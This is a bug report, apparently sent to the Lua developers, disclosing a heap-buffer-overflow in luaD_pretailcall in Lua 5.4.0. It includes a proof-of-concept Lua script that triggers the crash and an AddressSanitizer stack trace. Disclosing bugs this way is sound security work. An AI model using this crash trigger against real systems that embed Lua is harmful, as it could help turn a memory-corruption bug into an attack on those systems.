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- **Subject:** heap-buffer-overflow in luaD\_pretailcall
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Hi,

We found a heap-buffer-overflow in Lua (Lua 5.4.0 Copyright (C) 1994-2020 Lua.org, PUC-Rio)  
Try following PoC

```
function
crash ( )
do
  function errfunc ( ) end coro =
    function ( ) print ( xpcall ( test, errfunc ) )
      print ( setmetatable ( { }
        , { __gc = function ( ) asserty = k + 1 end }
      ) ) end coro ( ) return load ( string.
        dump ( function
          ( p8, p9, p10, p11, p12, p13,
            p14, p15, p16, p17, p18,
            p19, p20, p21, p22, p23,
            p24, p25, p26, p5, p6, p7,
            p8, p9, p10, p11, p12, p13,
            p14, p15, p16, p17, p18,
            p19 ) end ) ) ( ) end end
        for i
          = 1, 5
        do
          crash ( ) end
        end
      end
    end
  end
end
```

Compile Lua with Address sanitizer and run above PoC.

Asan log:

```
==5190==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6160000017e8 at pc 0x0000000414661 bp 0x7ffd48797200 sp 0x7ffd487971f0
WRITE of size 1 at 0x6160000017e8 thread T0
#0 0x414660 in luaD_pretailcall (/home/yongheng/lua_asan/lua+0x414660)
#1 0x4429b6 in luaV_execute (/home/yongheng/lua_asan/lua+0x4429b6)
#2 0x43d4cc in luaV_execute (/home/yongheng/lua_asan/lua+0x43d4cc)
#3 0x415194 in luaD_callnoyield (/home/yongheng/lua_asan/lua+0x415194)
#4 0x4127d0 in luaD_rawrunprotected (/home/yongheng/lua_asan/lua+0x4127d0)
#5 0x415d70 in luaD_pcall (/home/yongheng/lua_asan/lua+0x415d70)
#6 0x40bd47 in lua_pcallk (/home/yongheng/lua_asan/lua+0x40bd47)
#7 0x4051e6 in docall (/home/yongheng/lua_asan/lua+0x4051e6)
#8 0x40664d in pmain (/home/yongheng/lua_asan/lua+0x40664d)
#9 0x414de1 in luaD_call (/home/yongheng/lua_asan/lua+0x414de1)
#10 0x415194 in luaD_callnoyield (/home/yongheng/lua_asan/lua+0x415194)
#11 0x4127d0 in luaD_rawrunprotected (/home/yongheng/lua_asan/lua+0x4127d0)
#12 0x415d70 in luaD_pcall (/home/yongheng/lua_asan/lua+0x415d70)
#13 0x40bd47 in lua_pcallk (/home/yongheng/lua_asan/lua+0x40bd47)
#14 0x4049b4 in main (/home/yongheng/lua_asan/lua+0x4049b4)
#15 0x7f6aeba2282f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
#16 0x405008 in _start (/home/yongheng/lua_asan/lua+0x405008)
```

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Best,  
Yongheng and Rui

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